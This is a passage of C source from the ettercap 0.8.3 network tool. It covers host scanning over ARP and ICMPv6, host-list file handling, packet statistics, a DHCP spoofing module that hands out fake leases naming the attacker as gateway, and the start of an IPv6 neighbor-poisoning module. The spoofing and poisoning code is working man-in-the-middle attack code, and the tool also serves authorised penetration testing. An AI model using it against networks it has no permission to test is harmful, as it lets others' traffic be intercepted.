tmp) { SAFE_FREE(hl->hostname); LIST_REMOVE(hl, next); SAFE_FREE(hl); } SCANUI_UNLOCK; } /* * receives the ARP and ICMPv6 ND packets */ static void get_response(struct packet_object *po) { struct ip_list *t; char tmp[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("get_response from %s", ip_addr_ntoa(&po->L3.src, tmp)); /* if at least one target is the whole netmask, add the entry */ if (EC_GBL_TARGET1->scan_all || EC_GBL_TARGET2->scan_all) { add_host(&po->L3.src, po->L2.src, NULL); return; } /* else only add arp and icmp6 replies within the targets */ /* search in target 1 */ LIST_FOREACH(t, &EC_GBL_TARGET1->ips, next) if (!ip_addr_cmp(&t->ip, &po->L3.src)) { add_host(&po->L3.src, po->L2.src, NULL); return; } /* search in target 2 */ LIST_FOREACH(t, &EC_GBL_TARGET2->ips, next) if (!ip_addr_cmp(&t->ip, &po->L3.src)) { add_host(&po->L3.src, po->L2.src, NULL); return; } #ifdef WITH_IPV6 /* same for IPv6 */ /* search in target 1 */ LIST_FOREACH(t, &EC_GBL_TARGET1->ip6, next) if (!ip_addr_cmp(&t->ip, &po->L3.src)) { return; } /* search in target 2 */ LIST_FOREACH(t, &EC_GBL_TARGET2->ip6, next) if (!ip_addr_cmp(&t->ip, &po->L3.src)) { add_host(&po->L3.src, po->L2.src, NULL); return; } #endif } /* * scan the netmask to find all hosts */ static void scan_netmask(void) { u_int32 netmask, current, myip; int nhosts, i, ret; struct ip_addr scanip; struct ip_list *e, *tmp; char title[100]; netmask = *EC_GBL_IFACE->netmask.addr32; myip = *EC_GBL_IFACE->ip.addr32; /* the number of hosts in this netmask */ nhosts = ntohl(~netmask); DEBUG_MSG("scan_netmask: %d hosts", nhosts); INSTANT_USER_MSG("Randomizing %d hosts for scanning...\n", nhosts); /* scan the netmask */ for (i = 1; i <= nhosts; i++) { /* calculate the ip */ current = (myip & netmask) | htonl(i); ip_addr_init(&scanip, AF_INET, (u_char *)¤t); SAFE_CALLOC(e, 1, sizeof(struct ip_list)); memcpy(&e->ip, &scanip, sizeof(struct ip_addr)); /* add to the list randomly */ random_list(e, i); } snprintf(title, sizeof(title)-1, "Scanning the whole netmask for %d hosts...", nhosts); INSTANT_USER_MSG("%s\n", title); i = 1; /* send the actual ARP request */ LIST_FOREACH(e, &ip_list_head, next) { /* send the arp request */ send_arp(ARPOP_REQUEST, &EC_GBL_IFACE->ip, EC_GBL_IFACE->mac, &e->ip, MEDIA_BROADCAST); /* update the progress bar */ ret = ui_progress(title, i++, nhosts); /* user has requested to stop the task */ if (ret == UI_PROGRESS_INTERRUPTED) { INSTANT_USER_MSG("Scan interrupted by user. Partial results may have been recorded...\n"); /* stop the capture thread if sniffing is not active */ if (!EC_GBL_SNIFF->active) capture_stop(EC_GBL_IFACE); hook_del(HOOK_PACKET_ARP, &get_response); /* delete the temporary list */ LIST_FOREACH_SAFE(e, &ip_list_head, next, tmp) { LIST_REMOVE(e, next); SAFE_FREE(e); } SCAN_UNLOCK; /* cancel the scan thread */ ec_thread_exit(); } /* wait for a delay */ ec_usleep(MILLI2MICRO(EC_GBL_CONF->arp_storm_delay)); } /* delete the temporary list */ LIST_FOREACH_SAFE(e, &ip_list_head, next, tmp) { LIST_REMOVE(e, next); SAFE_FREE(e); } DEBUG_MSG("scan_netmask: Complete"); } #ifdef WITH_IPV6 /* * probe active IPv6 hosts */ static void scan_ip6_onlink(void) { int ret, i = 0; struct net_list *e; struct ip_addr an; char title[100]; ip_addr_init(&an, AF_INET6, (u_char *)IP6_ALL_NODES); snprintf(title, sizeof(title)-1, "Probing %d seconds for active IPv6 nodes ...", EC_GBL_CONF->icmp6_probe_delay); INSTANT_USER_MSG("%s\n", title); DEBUG_MSG("scan_ip6_onlink: "); /* go through the list of IPv6 addresses on the selected interface */ LIST_FOREACH(e, &EC_GBL_IFACE->ip6_list, next) { /* * ping to all-nodes from all ip addresses to get responses from all * IPv6 networks (global, link-local, ...) */ send_L2_icmp6_echo(&e->ip, &an, LLA_IP6_ALLNODES_MULTICAST); #if EC_CHECK_LIBNET_VERSION(1,2) /* * sending this special icmp probe motivates hosts to respond with a icmp * error message even if they are configured not to respond to icmp requests. * since libnet < 1.2 has a bug when sending IPv6 option headers * we can only use this type of probe if we have at least libnet 1.2 or above */ send_L2_icmp6_echo_opt(&e->ip, &an, IP6_DSTOPT_UNKN, sizeof(IP6_DSTOPT_UNKN), LLA_IP6_ALLNODES_MULTICAST); #endif } for (i=0; i<=EC_GBL_CONF->icmp6_probe_delay * 1000; i++) { /* update the progress bar */ ret = ui_progress(title, i, EC_GBL_CONF->icmp6_probe_delay * 1000); /* user has requested to stop the task */ if (ret == UI_PROGRESS_INTERRUPTED) { INSTANT_USER_MSG("Scan interrupted by user. Partial results may have been recorded...\n"); /* stop the capture thread if sniffing is not active */ if (!EC_GBL_SNIFF->active) capture_stop(EC_GBL_IFACE); hook_del(HOOK_PACKET_ICMP6_NADV, &get_response); hook_del(HOOK_PACKET_ICMP6_RPLY, &get_response); hook_del(HOOK_PACKET_ICMP6_PARM, &get_response); SCAN_UNLOCK; /* cancel the scan thread */ ec_thread_exit(); } /* wait for a delay */ ec_usleep(MILLI2MICRO(1)); // 1ms } } #endif /* * scan only the target hosts */ static void scan_targets(void) { int nhosts = 0, found, n = 1, ret; struct ip_list *e, *i, *m, *tmp; char title[100]; #ifdef WITH_IPV6 struct ip_addr ip; struct ip_addr sn; u_int8 tmac[MEDIA_ADDR_LEN]; #endif DEBUG_MSG("scan_targets: merging targets..."); /* * make an unique list merging the two target * and count the number of hosts to be scanned */ /* first get all the target1 ips */ LIST_FOREACH(i, &EC_GBL_TARGET1->ips, next) { SAFE_CALLOC(e, 1, sizeof(struct ip_list)); memcpy(&e->ip, &i->ip, sizeof(struct ip_addr)); nhosts++; /* add to the list randomly */ random_list(e, nhosts); } #ifdef WITH_IPV6 LIST_FOREACH(i, &EC_GBL_TARGET1->ip6, next) { SAFE_CALLOC(e, 1, sizeof(struct ip_list)); memcpy(&e->ip, &i->ip, sizeof(struct ip_addr)); nhosts++; random_list(e, nhosts); } #endif /* then merge the target2 ips */ LIST_FOREACH(i, &EC_GBL_TARGET2->ips, next) { found = 0; /* search if it is already in the list */ LIST_FOREACH(m, &ip_list_head, next) if (!ip_addr_cmp(&m->ip, &i->ip)) { found = 1; break; } /* add it */ if (!found) { SAFE_CALLOC(e, 1, sizeof(struct ip_list)); memcpy(&e->ip, &i->ip, sizeof(struct ip_addr)); nhosts++; /* add to the list randomly */ random_list(e, nhosts); } } #ifdef WITH_IPV6 LIST_FOREACH(i, &EC_GBL_TARGET2->ip6, next) { found = 0; LIST_FOREACH(m, &ip_list_head, next) if (!ip_addr_cmp(&m->ip, &i->ip)) { found = 1; break; } if (!found) { SAFE_CALLOC(e, 1, sizeof(struct ip_list)); memcpy(&e->ip, &i->ip, sizeof(struct ip_addr)); nhosts++; /* add to the list randomly */ random_list(e, nhosts); } } #endif DEBUG_MSG("scan_targets: %d hosts to be scanned", nhosts); /* don't scan if there are no hosts */ if (nhosts == 0) return; snprintf(title, sizeof(title)-1, "Scanning for merged targets (%d hosts)...", nhosts); INSTANT_USER_MSG("%s\n\n", title); /* and now scan the LAN */ LIST_FOREACH(e, &ip_list_head, next) { /* send the arp request */ switch(ntohs(e->ip.addr_type)) { case AF_INET: send_arp(ARPOP_REQUEST, &EC_GBL_IFACE->ip, EC_GBL_IFACE->mac, &e->ip, MEDIA_BROADCAST); break; #ifdef WITH_IPV6 case AF_INET6: if (ip_addr_is_local(&e->ip, &ip) == E_SUCCESS) { ip_addr_init_sol(&sn, &e->ip, tmac); send_L2_icmp6_nsol(&ip, &sn, &e->ip, EC_GBL_IFACE->mac, tmac); } break; #endif } /* update the progress bar */ ret = ui_progress(title, n++, nhosts); /* user has requested to stop the task */ if (ret == UI_PROGRESS_INTERRUPTED) { INSTANT_USER_MSG("Scan interrupted by user. Partial results may have been recorded...\n"); /* stop the capture thread if sniffing is not active */ if (!EC_GBL_SNIFF->active) capture_stop(EC_GBL_IFACE); hook_del(HOOK_PACKET_ARP, &get_response); #ifdef WITH_IPV6 hook_del(HOOK_PACKET_ICMP6_NADV, &get_response); hook_del(HOOK_PACKET_ICMP6_RPLY, &get_response); hook_del(HOOK_PACKET_ICMP6_PARM, &get_response); #endif /* delete the temporary list */ LIST_FOREACH_SAFE(e, &ip_list_head, next, tmp) { LIST_REMOVE(e, next); SAFE_FREE(e); } SCAN_UNLOCK; /* cancel the scan thread */ ec_thread_exit(); } /* wait for a delay */ ec_usleep(MILLI2MICRO(EC_GBL_CONF->arp_storm_delay)); } /* delete the temporary list */ LIST_FOREACH_SAFE(e, &ip_list_head, next, tmp) { LIST_REMOVE(e, next); SAFE_FREE(e); } } /* * load the hosts list from this file */ int scan_load_hosts(char *filename) { FILE *hf; int nhosts; char ip[MAX_ASCII_ADDR_LEN]; char mac[ETH_ASCII_ADDR_LEN]; char name[MAX_HOSTNAME_LEN]; struct ip_addr hip; u_int8 hmac[MEDIA_ADDR_LEN]; DEBUG_MSG("scan_load_hosts: %s", filename); /* open the file */ hf = fopen(filename, FOPEN_READ_TEXT); if (hf == NULL) SEMIFATAL_ERROR("Cannot open %s", filename); INSTANT_USER_MSG("Loading hosts list from file %s\n", filename); /* read the file */ for (nhosts = 0; !feof(hf); nhosts++) { if (fscanf(hf, "%"EC_TOSTRING(MAX_ASCII_ADDR_LEN)"s %"EC_TOSTRING(ETH_ASCII_ADDR_LEN)"s %"EC_TOSTRING(MAX_HOSTNAME_LEN)"s\n", ip, mac, name) != 3 || *ip == '#' || *mac == '#' || *name == '#') continue; /* convert to network */ if (!mac_addr_aton(mac, hmac)) { USER_MSG("Bad MAC address while parsing line %d", nhosts + 1); continue; } if (ip_addr_pton(ip, &hip) != E_SUCCESS) { /* neither IPv4 nor IPv6 - inform user and skip line*/ USER_MSG("Bad IP address while parsing line %d", nhosts + 1); continue; //del_hosts_list(); //SEMIFATAL_ERROR("Bad parsing on line %d", nhosts + 1); } /* wipe the null hostname */ if (!strcmp(name, "-")) name[0] = '\0'; /* add to the list */ add_host(&hip, hmac, name); } fclose(hf); DEBUG_MSG("scan_load_hosts: loaded %d hosts lines", nhosts); return E_SUCCESS; } /* * save the host list to this file */ int scan_save_hosts(char *filename) { FILE *hf; int nhosts = 0; struct hosts_list *hl; char tmp[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("scan_save_hosts: %s", filename); /* open the file */ hf = fopen(filename, FOPEN_WRITE_TEXT); if (hf == NULL) SEMIFATAL_ERROR("Cannot open %s for writing", filename); /* save the list */ LIST_FOREACH(hl, &EC_GBL_HOSTLIST, next) { fprintf(hf, "%s ", ip_addr_ntoa(&hl->ip, tmp)); fprintf(hf, "%s ", mac_addr_ntoa(hl->mac, tmp)); if (hl->hostname && *hl->hostname != '\0') fprintf(hf, "%s\n", hl->hostname); else fprintf(hf, "-\n"); nhosts++; } /* close the file */ fclose(hf); INSTANT_USER_MSG("%d hosts saved to file %s\n", nhosts, filename); return E_SUCCESS; } /* * add an host to the list * order the list while inserting the elements */ void add_host(struct ip_addr *ip, u_int8 mac[MEDIA_ADDR_LEN], char *name) { struct hosts_list *hl, *h; /* don't add to hostlist if the found IP is ours */ if (ip_addr_is_ours(ip) == E_FOUND) return; /* don't add undefined address */ if (ip_addr_is_zero(ip)) return; SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); /* fill the struct */ memcpy(&h->ip, ip, sizeof(struct ip_addr)); memcpy(&h->mac, mac, MEDIA_ADDR_LEN); if (name) h->hostname = strdup(name); /* insert in order (ascending) */ LIST_FOREACH(hl, &EC_GBL_HOSTLIST, next) { if (ip_addr_cmp(&h->ip, &hl->ip) == 0) { /* the ip was already collected skip it */ SAFE_FREE(h->hostname); SAFE_FREE(h); return; } else if (ip_addr_cmp(&hl->ip, &h->ip) < 0 && LIST_NEXT(hl, next) != LIST_END(&EC_GBL_HOSTLIST) ) continue; else if (ip_addr_cmp(&h->ip, &hl->ip) > 0) { LIST_INSERT_AFTER(hl, h, next); break; } else { LIST_INSERT_BEFORE(hl, h, next); break; } } /* the first element */ if (LIST_FIRST(&EC_GBL_HOSTLIST) == LIST_END(&EC_GBL_HOSTLIST)) LIST_INSERT_HEAD(&EC_GBL_HOSTLIST, h, next); } /* * insert the element in the list randomly. * 'max' is the number of elements in the list */ static void random_list(struct ip_list *e, int max) { int rnd; srand(time(NULL)); /* calculate the position in the list. */ rnd = rand() % ((max == 1) ? max : max - 1); //rnd = 1+(int) ((float)max*rand()/(RAND_MAX+1.0)); /* allocate the array used to keep track of the pointer * to the elements in the list. this array speed up the * access method to the list */ SAFE_REALLOC(rand_array, (max + 1) * sizeof(struct ip_addr *)); /* the first element */ if (LIST_FIRST(&ip_list_head) == LIST_END(&ip_list_head)) { LIST_INSERT_HEAD(&ip_list_head, e, next); rand_array[0] = e; return; } /* bound checking */ rnd = (rnd > 1) ? rnd : 1; /* insert the element in the list */ LIST_INSERT_AFTER(rand_array[rnd - 1], e, next); /* and add the pointer in the array */ rand_array[max - 1] = e; } void __init hook_init(void) { hook_add(HOOK_PACKET_IP, &hosts_list_hook); hook_add(HOOK_PACKET_IP6, &hosts_list_hook); } /* * This function adds local nodes to the global hosts list. * Its quite slow and I don't have any better ideas at the moment. */ static void hosts_list_hook(struct packet_object *po) { switch(ip_addr_is_ours(&po->L3.src)) { case E_FOUND: case E_BRIDGE: return; } if(ip_addr_is_local(&po->L3.src, NULL) == E_SUCCESS) { add_host(&po->L3.src, po->L2.src, NULL); } return; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_stats.c0000644000175000017500000001134413505247364015737 0ustar koeppeakoeppea/* ettercap -- statistics collection module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /************************************************/ unsigned long stats_queue_add(void) { /* increment the counter */ EC_GBL_STATS->queue_curr++; /* check if the max has to be updated */ if (EC_GBL_STATS->queue_curr > EC_GBL_STATS->queue_max) EC_GBL_STATS->queue_max = EC_GBL_STATS->queue_curr; return EC_GBL_STATS->queue_curr; } unsigned long stats_queue_del(void) { /* decrement the current counter */ EC_GBL_STATS->queue_curr--; return EC_GBL_STATS->queue_curr; } /* * gets the timeval initial value * to calculate the processing time */ void stats_half_start(struct half_stats *hs) { /* get the time */ gettimeofday(&hs->ts, 0); } /* * update the packet (num and size) counters * and get the time diff to calculate the * rate */ void stats_half_end(struct half_stats *hs, u_int len) { struct timeval diff; float ttime; float ptime; /* get the time */ gettimeofday(&hs->te, 0); time_sub(&hs->te, &hs->ts, &diff); time_add(&hs->ttot, &diff, &hs->ttot); time_add(&hs->tpar, &diff, &hs->tpar); /* calculate the rate (packet/time) */ ttime = hs->ttot.tv_sec + hs->ttot.tv_usec/1.0e6; ptime = hs->tpar.tv_sec + hs->tpar.tv_usec/1.0e6; /* update the packet count */ hs->pck_recv++; hs->pck_size += len; hs->tmp_size += len; if ( (hs->pck_recv % EC_GBL_CONF->sampling_rate) == 0 ) { /* save the average and the worst sampling */ hs->rate_adv = hs->pck_recv/ttime; if (hs->rate_worst > EC_GBL_CONF->sampling_rate/ptime || hs->rate_worst == 0) hs->rate_worst = EC_GBL_CONF->sampling_rate/ptime; hs->thru_adv = hs->pck_size/ttime; if (hs->thru_worst > hs->tmp_size/ptime || hs->thru_worst == 0) hs->thru_worst = hs->tmp_size/ptime; #if 0 DEBUG_MSG("PACKET RATE: %llu [%d] [%d] -- [%d] [%d]\n", hs->pck_recv, hs->rate_worst, hs->rate_adv, hs->thru_worst, hs->thru_adv); #endif /* reset the partial */ memset(&hs->tpar, 0, sizeof(struct timeval)); hs->tmp_size = 0; } } /* * zero the statistics. * since the stats from the kernel are not modifiable * we have to keep a delta to subtract from them to have * the count of the packets since the last call of stats_wipe() */ void stats_wipe(void) { struct pcap_stat ps; DEBUG_MSG("stats_wipe"); /* wipe top and botto half statistics */ memset(&EC_GBL_STATS->bh, 0, sizeof(struct half_stats)); memset(&EC_GBL_STATS->th, 0, sizeof(struct half_stats)); /* now the global stats */ pcap_stats(EC_GBL_IFACE->pcap, &ps); /* XXX - fix this with libpcap 0.8.2 */ #ifndef OS_LINUX EC_GBL_STATS->ps_recv_delta += ps.ps_recv; EC_GBL_STATS->ps_drop_delta += ps.ps_drop; EC_GBL_STATS->ps_sent_delta += EC_GBL_STATS->ps_sent; EC_GBL_STATS->bs_sent_delta += EC_GBL_STATS->bs_sent; #endif EC_GBL_STATS->ps_recv = 0; EC_GBL_STATS->ps_drop = 0; EC_GBL_STATS->ps_ifdrop = 0; EC_GBL_STATS->ps_sent = 0; EC_GBL_STATS->bs_sent = 0; EC_GBL_STATS->queue_max = 0; EC_GBL_STATS->queue_curr = 0; } /* * update the statistics */ void stats_update(void) { struct pcap_stat ps; struct libnet_stats ls; /* update the statistics * * statistics are available only in live capture * no statistics are stored in savefiles */ pcap_stats(EC_GBL_IFACE->pcap, &ps); /* get the statistics for Layer 3 since we forward packets here */ libnet_stats(EC_GBL_LNET->lnet_IP4, &ls); /* on systems other than linux, the counter is not reset */ EC_GBL_STATS->ps_recv = ps.ps_recv - EC_GBL_STATS->ps_recv_delta; EC_GBL_STATS->ps_drop = ps.ps_drop - EC_GBL_STATS->ps_drop_delta; /* from libnet */ EC_GBL_STATS->ps_sent = ls.packets_sent - EC_GBL_STATS->ps_sent_delta; EC_GBL_STATS->bs_sent = ls.bytes_written - EC_GBL_STATS->bs_sent_delta; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/mitm/0000755000175000017500000000000013505247364014731 5ustar koeppeakoeppeaettercap-0.8.3/src/mitm/ec_dhcp_spoofing.c0000644000175000017500000002342713505247364020376 0ustar koeppeakoeppea/* ettercap -- DHCP spoofing mitm module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include /* globals */ static struct target_env dhcp_ip_pool; static struct ip_list *dhcp_free_ip; static struct ip_addr dhcp_netmask; static struct ip_addr dhcp_dns; static char dhcp_options[1500]; static size_t dhcp_optlen; /* protos */ void dhcp_spoofing_init(void); static int dhcp_spoofing_start(char *args); static void dhcp_spoofing_stop(void); static void dhcp_spoofing_req(struct packet_object *po); static void dhcp_spoofing_disc(struct packet_object *po); static void dhcp_setup_options(void); static struct ip_addr *dhcp_addr_reply(struct ip_addr *radd); /* from dissectors/ec_dhcp.c */ extern u_int8 * get_dhcp_option(u_int8 opt, u_int8 *ptr, u_int8 *end); extern void put_dhcp_option(u_int8 opt, u_int8 *value, u_int8 len, u_int8 **ptr); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered mitm */ void __init dhcp_spoofing_init(void) { struct mitm_method mm; mm.name = "dhcp"; mm.start = &dhcp_spoofing_start; mm.stop = &dhcp_spoofing_stop; mitm_add(&mm); } /* * init the ICMP REDIRECT attack */ static int dhcp_spoofing_start(char *args) { char *p; int i = 1; DEBUG_MSG("dhcp_spoofing_start"); if (!strcmp(args, "")) SEMIFATAL_ERROR("DHCP spoofing needs a parameter.\n"); /* * Check to see if sniff has started - started automatically in text UI */ if (EC_GBL_UI->type != UI_TEXT && !EC_GBL_SNIFF->active) SEMIFATAL_ERROR("DHCP spoofing requires sniffing to be active.\n"); /* check the parameter: * * ip_pool/netmask/dns */ for (p = strsep(&args, "/"); p != NULL; p = strsep(&args, "/")) { /* first parameter (the ip_pool) */ if (i == 1) { char tmp[strlen(p)+4]; /* add the / to be able to use the target parsing function */ snprintf(tmp, strlen(p)+4, "/%s//", p); if (compile_target(tmp, &dhcp_ip_pool) != E_SUCCESS) break; /* second parameter (the netmask) */ } else if (i == 2) { /* convert from string and get the netmask */ if (ip_addr_pton(p, &dhcp_netmask) != E_SUCCESS) break; /* third parameter (the dns server) */ } else if (i == 3) { char tmp[MAX_ASCII_ADDR_LEN]; /* convert from string and get the netmask */ if (ip_addr_pton(p, &dhcp_dns) != E_SUCCESS) break; /* all the parameters were parsed correctly... */ USER_MSG("DHCP spoofing: using specified ip_pool, netmask %s", ip_addr_ntoa(&dhcp_netmask, tmp)); USER_MSG(", dns %s\n", ip_addr_ntoa(&dhcp_dns, tmp)); /* add the hookpoints */ hook_add(HOOK_PROTO_DHCP_REQUEST, dhcp_spoofing_req); hook_add(HOOK_PROTO_DHCP_DISCOVER, dhcp_spoofing_disc); /* create the options */ dhcp_setup_options(); /* se the pointer to the first ip pool address */ dhcp_free_ip = LIST_FIRST(&dhcp_ip_pool.ips); return E_SUCCESS; } i++; } /* error parsing the parameter */ SEMIFATAL_ERROR("DHCP spoofing: parameter number %d is incorrect.\n", i); return -E_FATAL; } /* * shut down the redirect process */ static void dhcp_spoofing_stop(void) { DEBUG_MSG("dhcp_spoofing_stop"); USER_MSG("DHCP spoofing stopped.\n"); /* remove the hookpoint */ hook_del(HOOK_PROTO_DHCP_REQUEST, dhcp_spoofing_req); hook_del(HOOK_PROTO_DHCP_DISCOVER, dhcp_spoofing_disc); } /* * Find the right address to reply */ static struct ip_addr *dhcp_addr_reply(struct ip_addr *radd) { static struct ip_addr broad_addr; u_int32 broad_int32 = 0xffffffff; ip_addr_init(&broad_addr, AF_INET, (u_char *)&broad_int32); /* check if the source is 0.0.0.0 */ if ( ip_addr_is_zero(radd) ) return &broad_addr; return radd; } /* * parses the request and send the spoofed reply */ static void dhcp_spoofing_req(struct packet_object *po) { char dhcp_hdr[LIBNET_DHCPV4_H]; struct libnet_dhcpv4_hdr *dhcp; u_int8 *options, *opt, *end; struct ip_addr client, server; char tmp[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("dhcp_spoofing_req"); /* get a local copy of the dhcp header */ memcpy(dhcp_hdr, po->DATA.data, LIBNET_DHCPV4_H); dhcp = (struct libnet_dhcpv4_hdr *)dhcp_hdr; /* get the pointers to options */ options = po->DATA.data + LIBNET_DHCPV4_H; end = po->DATA.data + po->DATA.len; /* use the same dhcp header, but change the type of the message */ dhcp->dhcp_opcode = LIBNET_DHCP_REPLY; /* * if the client is requesting a particular IP address, * release it. so we don't mess the network too much... * only change the router ip ;) */ /* get the requested ip */ if ((opt = get_dhcp_option(DHCP_OPT_RQ_ADDR, options, end)) != NULL) ip_addr_init(&client, AF_INET, opt + 1); else { /* search if the client already has the ip address */ if (dhcp->dhcp_cip != 0) { ip_addr_init(&client, AF_INET, (u_char *)&dhcp->dhcp_cip); } else return; } /* set the requested ip */ dhcp->dhcp_yip = *client.addr32; /* this is a dhcp ACK */ dhcp_options[2] = DHCP_ACK; /* * if it is a request after an offer from a server, * spoof its ip to be stealth. */ if ((opt = get_dhcp_option(DHCP_OPT_SRV_ADDR, options, end)) != NULL) { /* get the server id */ ip_addr_init(&server, AF_INET, opt + 1); /* set it in the header */ dhcp->dhcp_sip = *server.addr32; /* set it in the options */ ip_addr_cpy((u_char*)dhcp_options + 5, &server); send_dhcp_reply(&server, dhcp_addr_reply(&po->L3.src), po->L2.src, (u_char*)dhcp_hdr, (u_char*)dhcp_options, dhcp_optlen); } else { /* * the request does not contain an identifier, * use our ip address */ dhcp->dhcp_sip = *EC_GBL_IFACE->ip.addr32; /* set it in the options */ ip_addr_cpy((u_char*)dhcp_options + 5, &EC_GBL_IFACE->ip); send_dhcp_reply(&EC_GBL_IFACE->ip, dhcp_addr_reply(&po->L3.src), po->L2.src, (u_char*)dhcp_hdr, (u_char*)dhcp_options, dhcp_optlen); } USER_MSG("DHCP spoofing: fake ACK [%s] ", mac_addr_ntoa(po->L2.src, tmp)); USER_MSG("assigned to %s \n", ip_addr_ntoa(&client, tmp)); } /* * parses the discovery message and send the spoofed reply */ static void dhcp_spoofing_disc(struct packet_object *po) { char dhcp_hdr[LIBNET_DHCPV4_H]; struct libnet_dhcpv4_hdr *dhcp; char tmp[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("dhcp_spoofing_disc"); /* no more ip available in the pool */ if (dhcp_free_ip == SLIST_END(&dhcp_ip_pool.ips)) return; /* get a local copy of the dhcp header */ memcpy(dhcp_hdr, po->DATA.data, LIBNET_DHCPV4_H); dhcp = (struct libnet_dhcpv4_hdr *)dhcp_hdr; /* use the same dhcp header, but change the type of the message */ dhcp->dhcp_opcode = LIBNET_DHCP_REPLY; /* this is a dhcp OFFER */ dhcp_options[2] = DHCP_OFFER; /* set the free ip from the pool */ dhcp->dhcp_yip = *dhcp_free_ip->ip.addr32; /* set it in the header */ dhcp->dhcp_sip = *EC_GBL_IFACE->ip.addr32; /* set it in the options */ ip_addr_cpy((u_char*)dhcp_options + 5, &EC_GBL_IFACE->ip); /* send the packet */ send_dhcp_reply(&EC_GBL_IFACE->ip, dhcp_addr_reply(&po->L3.src), po->L2.src, (u_char*)dhcp_hdr, (u_char*)dhcp_options, dhcp_optlen); USER_MSG("DHCP spoofing: fake OFFER [%s] ", mac_addr_ntoa(po->L2.src, tmp)); USER_MSG("offering %s \n", ip_addr_ntoa(&dhcp_free_ip->ip, tmp)); /* move the pointer to the next ip */ dhcp_free_ip = LIST_NEXT(dhcp_free_ip, next); } /* * prepare the buffer with the options to be used * in replies */ static void dhcp_setup_options(void) { int time; u_int8 *p = (u_int8*)dhcp_options; DEBUG_MSG("dhcp_setup_options"); /* lease time from conf file */ time = htonl(EC_GBL_CONF->dhcp_lease_time); /* the type of reply */ *p++ = DHCP_OPT_MSG_TYPE; *p++ = 1; *p++ = DHCP_ACK; /* server identifier */ put_dhcp_option(DHCP_OPT_SRV_ADDR, EC_GBL_IFACE->ip.addr, ntohs(EC_GBL_IFACE->ip.addr_len), &p); /* lease time */ put_dhcp_option(DHCP_OPT_LEASE_TIME, (u_int8 *)&time, 4, &p); /* the netmask */ put_dhcp_option(DHCP_OPT_NETMASK, dhcp_netmask.addr, ntohs(dhcp_netmask.addr_len), &p); /* the gateway */ put_dhcp_option(DHCP_OPT_ROUTER, EC_GBL_IFACE->ip.addr, ntohs(EC_GBL_IFACE->ip.addr_len), &p); /* the dns */ put_dhcp_option(DHCP_OPT_DNS, dhcp_dns.addr, ntohs(dhcp_dns.addr_len), &p); /* end of options */ *p++ = DHCP_OPT_END; /* the total len of the options */ dhcp_optlen = (char *)p - (char *)dhcp_options; /* pad to the minimum length */ if (dhcp_optlen < DHCP_OPT_MIN_LEN) { memset(p, 0, DHCP_OPT_MIN_LEN - dhcp_optlen); dhcp_optlen = DHCP_OPT_MIN_LEN; } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/mitm/ec_ip6nd_poison.c0000644000175000017500000003164113505247364020160 0ustar koeppeakoeppea/* * ICMPv6 Neighbor Advertisement poisoning ec module. * The basic idea is the same as for ARP poisoning * but ARP cannot be used with IPv6. Lurk [1] for details. * * [1] - http://packetlife.net/blog/2009/feb/2/ipv6-neighbor-spoofing/ * * the braindamaged entities collective */ #include #include #include #include #include #include /* globals */ struct hosts_group ndp_group_one; struct hosts_group ndp_group_two; #if 0 static LIST_HEAD(,ip_list) ping_list_one; static LIST_HEAD(,ip_list) ping_list_two; #endif u_int8 flags; #define ND_ONEWAY ((u_int8)(1<<0)) #define ND_ROUTER ((u_int8)(1<<2)) /* protos */ void ndp_poison_init(void); static int ndp_poison_start(char *args); static void ndp_poison_stop(void); EC_THREAD_FUNC(ndp_poisoner); static int create_list(void); static int create_list_silent(void); static void ndp_antidote(void); #if 0 static void catch_response(struct packet_object *po); static void record_mac(struct packet_object *po); #endif /* c0d3 */ void __init ndp_poison_init(void) { struct mitm_method mm; mm.name = "ndp"; mm.start = &ndp_poison_start; mm.stop = &ndp_poison_stop; mitm_add(&mm); } static int ndp_poison_start(char *args) { struct hosts_list *h, *tmp; int ret; char *p; DEBUG_MSG("ndp_poison_start"); flags = ND_ROUTER; if(strcmp(args, "")) { for(p = strsep(&args, ","); p != NULL; p = strsep(&args, ",")) { if(!strcasecmp(p, "remote")) EC_GBL_OPTIONS->remote = 1; else if(!strcasecmp(p, "oneway")) flags |= ND_ONEWAY; else SEMIFATAL_ERROR("NDP poisoning: incorrect arguments.\n"); } } /* we need the host list */ if (LIST_EMPTY(&EC_GBL_HOSTLIST)) SEMIFATAL_ERROR("NDP poisoning needs a non-emtpy hosts list.\n"); /* clean the lists */ LIST_FOREACH_SAFE(h, &ndp_group_one, next, tmp) { LIST_REMOVE(h, next); SAFE_FREE(h); } LIST_FOREACH_SAFE(h, &ndp_group_two, next, tmp) { LIST_REMOVE(h, next); SAFE_FREE(h); } if(EC_GBL_OPTIONS->silent) { ret = create_list_silent(); } else ret = create_list(); if (ret != E_SUCCESS) { SEMIFATAL_ERROR("NDP poisoning failed to start"); } /* hook necessary? - Maybe if solicitations are seen */ ec_thread_new("ndp_poisoner", "NDP spoofing thread", &ndp_poisoner, NULL); return E_SUCCESS; } static void ndp_poison_stop(void) { struct hosts_list *h; pthread_t pid; DEBUG_MSG("ndp_poison_stop"); pid = ec_thread_getpid("ndp_poisoner"); if(!pthread_equal(pid, 